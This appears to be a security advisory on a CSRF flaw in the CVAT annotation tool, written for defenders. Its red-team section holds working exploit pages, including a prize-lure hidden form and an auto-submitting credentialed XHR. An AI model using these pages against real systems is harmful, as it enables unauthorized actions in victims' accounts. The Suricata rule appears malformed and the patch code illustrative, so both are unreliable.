CVE-2024-47064

Executive Summary

CVE-2024-47064 is a Cross-Site Request Forgery (CSRF) vulnerability in the Computer Vision Annotation Tool (CVAT), an open-source interactive video and image annotation platform. The flaw allows an attacker to trick an authenticated CVAT user into visiting a maliciously crafted URL, thereby enabling the attacker to execute arbitrary API calls on the victim’s behalf. This grants the attacker temporary but full access to all data and functionality available to the victim user, including the ability to create, modify, or delete annotations, projects, and tasks.

The vulnerability has a CVSS v3.1 base score of 8.8 (High), with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is network-based, requires low complexity, and only requires user interaction (the victim clicking a link). No privileges are required for the attacker, and the impact on confidentiality, integrity, and availability is high.

No public proof-of-concept (PoC) code or exploit templates are currently available. The vendor has released a fix in CVAT version 2.19.0, which implements proper CSRF token validation for all state-changing API requests.

Supply Chain & Package Security

CVAT is a Python-based application distributed via Docker images and PyPI packages. The vulnerability affects all versions prior to 2.19.0. Organizations using CVAT should immediately upgrade to the latest patched version. There are no known compromised packages in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to all victim data.
• Integrity (I): High (H) – Full write access to create, modify, or delete data.
• Availability (A): High (H) – Ability to delete or corrupt data, impacting service availability.

Base Score: 8.8 (High)

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and has severe impact. The only barrier is user interaction, which can be achieved through social engineering or embedding the malicious link in a legitimate-looking context.

Deep Dive & Mechanics

The CVAT application uses a REST API for all client-server interactions. Prior to version 2.19.0, the application did not implement CSRF protection mechanisms such as anti-CSRF tokens, SameSite cookies, or custom request headers (e.g., X-Requested-With). This means that any authenticated user’s browser will automatically include their session cookies when making requests to the CVAT server, regardless of the origin of the request.

An attacker can craft a malicious HTML page or email that contains a hidden form or JavaScript that sends a request to the CVAT API. For example, the attacker could create a form that submits a POST request to /api/projects/ to create a new project, or to /api/tasks/ to delete a task. When the victim visits the attacker’s page, the browser sends the request along with the victim’s session cookies, and the server processes it as if it were a legitimate request from the victim.

The attack is particularly dangerous because CVAT is often used in collaborative environments where users have access to sensitive annotation data, including images, videos, and metadata. An attacker could exfiltrate data, modify annotations to introduce errors, or delete entire projects.

The fix in version 2.19.0 introduces CSRF token validation for all state-changing API endpoints. The server now generates a unique token for each session and requires it to be included in the request body or headers. Without the correct token, the server rejects the request.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.19.0):

In the vulnerable version, API endpoints do not check for CSRF tokens. For example, the project creation endpoint might look like this:

# cvat/apps/engine/views.py (vulnerable)
@api_view(['POST'])
@permission_classes([IsAuthenticated])
def create_project(request):
    serializer = ProjectSerializer(data=request.data)
    if serializer.is_valid():
        serializer.save(owner=request.user)
        return Response(serializer.data, status=201)
    return Response(serializer.errors, status=400)

There is no CSRF protection. The only authentication is the session cookie, which is automatically sent by the browser.

Patched Code (2.19.0+):

The patched version adds CSRF token validation. The server generates a token and stores it in the session. The client must include this token in the request, typically via a custom header or a form field.

# cvat/apps/engine/views.py (patched)
from django.middleware.csrf import get_token

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def create_project(request):
    # Validate CSRF token
    csrf_token = request.META.get('HTTP_X_CSRFTOKEN')
    if not csrf_token or csrf_token != request.session.get('csrf_token'):
        return Response({'error': 'CSRF token missing or invalid'}, status=403)

    serializer = ProjectSerializer(data=request.data)
    if serializer.is_valid():
        serializer.save(owner=request.user)
        return Response(serializer.data, status=201)
    return Response(serializer.errors, status=400)

Additionally, the frontend is updated to include the CSRF token in all API requests:

// cvat-ui/src/utils/rest-client.js (patched)
import axios from 'axios';

const apiClient = axios.create({
    baseURL: '/api',
    headers: {
        'X-CSRFToken': getCookie('csrftoken')
    }
});

Exploitation & Lab Setup

Red Team

Objective: Exploit CVE-2024-47064 to perform unauthorized API actions on behalf of a victim.

Prerequisites:

• A running CVAT instance (version < 2.19.0) with at least one authenticated user.
• Ability to deliver a malicious URL to the victim (e.g., via email, social media, or a compromised website).

Lab Setup:

1. Deploy a vulnerable CVAT instance using Docker:

   docker run -d -p 8080:8080 cvat/cvat:2.18.0
   

2. Create a user account and log in.
3. Set up a simple HTTP server to host the malicious page:

   python3 -m http.server 9999
   

Exploit Steps:

1. Craft a malicious HTML page that performs a CSRF attack. For example, to create a new project with a malicious name:

   <!DOCTYPE html>
   <html>
   <body>
   <h1>Click the button to win a prize!</h1>
   <form action="http://target-cvat:8080/api/projects/" method="POST">
       <input type="hidden" name="name" value="Malicious Project" />
       <input type="hidden" name="description" value="Created via CSRF" />
       <input type="submit" value="Claim Prize" />
   </form>
   </body>
   </html>
   

2. Host the page on your attacker-controlled server:

   python3 -m http.server 9999
   

3. Deliver the URL to the victim (e.g., http://attacker:9999/exploit.html).

4. Victim clicks the button – the browser sends a POST request to the CVAT API with the victim’s session cookie.

5. Verify the attack – Log in as the victim and check if the new project was created.

Advanced Exploit (JavaScript-based):

For more stealth, use JavaScript to automatically submit the form or make AJAX requests:

<!DOCTYPE html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://target-cvat:8080/api/projects/", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({name: "Malicious Project", description: "CSRF attack"}));
</script>
</body>
</html>

Blue Team

Objective: Detect and prevent CSRF attacks against CVAT.

Detection:

• Monitor for unusual API requests that originate from unexpected referrers or lack the X-Requested-With header.
• Look for a high volume of state-changing API calls (POST, PUT, DELETE) from a single user in a short period.
• Check for requests that include session cookies but do not include a CSRF token (in patched versions).

Prevention:

• Upgrade to CVAT 2.19.0 or later.
• Implement additional CSRF protections:
  • Use SameSite cookies (set to Lax or Strict).
  • Require custom headers (e.g., X-Requested-With: XMLHttpRequest) for all API requests.
  • Validate the Origin or Referer header on the server side.
• Educate users about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to CVAT API endpoints (e.g., /api/projects/, /api/tasks/, /api/jobs/) with Referer header pointing to an external domain.
  • Requests with Origin header not matching the CVAT server’s origin.
  • Multiple state-changing API calls from the same user in a short time window.

• Host IOCs:

  • Unusual entries in CVAT audit logs showing API calls without a valid CSRF token (if logging is enabled).
  • New projects, tasks, or jobs created by users without their knowledge.

• File IOCs:

  • Malicious HTML files or scripts on the attacker’s server (e.g., exploit.html).

Detection Engineering

YARA Rule

rule CVE_2024_47064_CSRF_Exploit {
    meta:
        description = "Detects HTML pages attempting CSRF against CVAT API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47064"
    strings:
        $s1 = "action=\"http://" nocase
        $s2 = "/api/projects/" nocase
        $s3 = "/api/tasks/" nocase
        $s4 = "/api/jobs/" nocase
        $s5 = "method=\"POST\"" nocase
        $s6 = "XMLHttpRequest" nocase
        $s7 = "withCredentials = true" nocase
    condition:
        any of ($s1, $s2, $s3, $s4) and any of ($s5, $s6, $s7)
}

Sigma Rule

title: Suspicious CVAT API Requests Without CSRF Token
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests to CVAT API endpoints that lack a CSRF token header, indicating a potential CSRF attack.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: cvat
detection:
    selection:
        http.method: 
            - 'POST'
            - 'PUT'
            - 'DELETE'
        http.url|contains: 
            - '/api/projects/'
            - '/api/tasks/'
            - '/api/jobs/'
            - '/api/users/'
    filter:
        http.headers|contains: 'X-CSRFToken'
    condition: selection and not filter
falsepositives:
    - Legitimate API calls from custom clients that include the token in a different way
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47064 CVAT CSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/"; http_uri; content:"!"; http_header_names; pcre:"/X-CSRFToken/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CVAT to version 2.19.0 or later. This is the only complete fix.

   docker pull cvat/cvat:2.19.0
   docker-compose up -d
   

2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to API endpoints that do not include a valid CSRF token or have an unexpected Origin header.
3. Enforce SameSite cookies by configuring the CVAT server to set SameSite=Lax or SameSite=Strict on session cookies.

Long-term Measures:

• Conduct a security audit of all API endpoints to ensure CSRF protection is consistently applied.
• Implement additional layers of defense, such as requiring re-authentication for sensitive actions (e.g., deleting projects).
• Train users to recognize phishing attempts and avoid clicking suspicious links.

Valters IT

This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.